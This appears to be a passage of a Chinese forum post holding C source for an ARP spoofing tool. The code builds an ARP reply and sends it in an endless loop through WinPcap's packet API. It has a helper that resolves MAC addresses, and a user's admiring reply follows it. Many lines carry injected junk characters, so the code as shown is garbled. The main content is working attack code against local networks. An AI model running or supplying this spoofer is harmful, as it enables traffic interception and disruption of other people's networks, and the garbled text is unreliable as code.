  ArpPacket.arphdr.op = htons(2);//arp reply
5 j3 M5 V1 e8 Z
5 \3 M, V2 u6 O7 m5 d6 i  lpArpPacket = PacketAllocatePacket();
  if(lpArpPacket == NULL)
  {
! H1 b3 `% e. S2 f5 j3 f    printf("Error:failed to allocate the LPPACKET structure for Arp spoof.\n");
    return 0;
1 C+ \! A0 N7 t$ `8 j' d0 t  }
  memset(szArpBuff, 0, sizeof(szArpBuff));
  memcpy(szArpBuff, (char *)&amp;ArpPacket, sizeof(ARPPACKET));
  PacketInitPacket(lpArpPacket, szArpBuff, 60);
& Z/ `3 j3 o8 l8 U* m$ [  //send arp packet
# K0 l9 m5 ?# o- y0 ?0 b" v  while(1)
  {
/ g- Z- z' s& C: G' R: Y/ M    if(PacketSendPacket(g_lpAdapter, lpArpPacket, TRUE) == FALSE)
4 `7 U8 ]: D7 H, ]    {
      printf("Error sending the arp spoof packets!\n");
      return 0;
6 {% U4 u, B5 v2 ?( w: m4 A    }
- w; d: z1 l  W4 w- X: R* t    Sleep(1000);
! Z# K/ L! D2 Z& O2 T  m; S  }
# K& h, y2 W, R' C$ X" U  return 0;
/ I. Q+ j5 F! l}
3 Q' d. O6 D: _
, a0 m. _, F+ b7 R! R//
//功能：输入IP取得对应的MAC地址
" n2 q8 x, i" [3 x" P- Q' r. f) n" {//
  W0 t# Y. I) I) KBOOL GetMACAddr(DWORD DestIP, char *pMAC)
{
: L' Z% [# L  f7 |& x6 @  DWORD  dwRet;
5 F9 s$ p0 }; Z6 C2 Z  ULONG  ulLen = 6, pulMac[2];
  dwRet = SendARP(DestIP, 0, pulMac, &amp;ulLen);
  if(dwRet == NO_ERROR)
9 Q( [% Z0 t# h8 _9 D" u% p* b  {
    memcpy(pMAC, pulMac, 6);
    return TRUE;
9 J+ G7 a  b. x& T- y: H. d, d  }
  else return FALSE;
7 v3 T, w" W& ]+ f}

wy617958197

大侠好厉害啊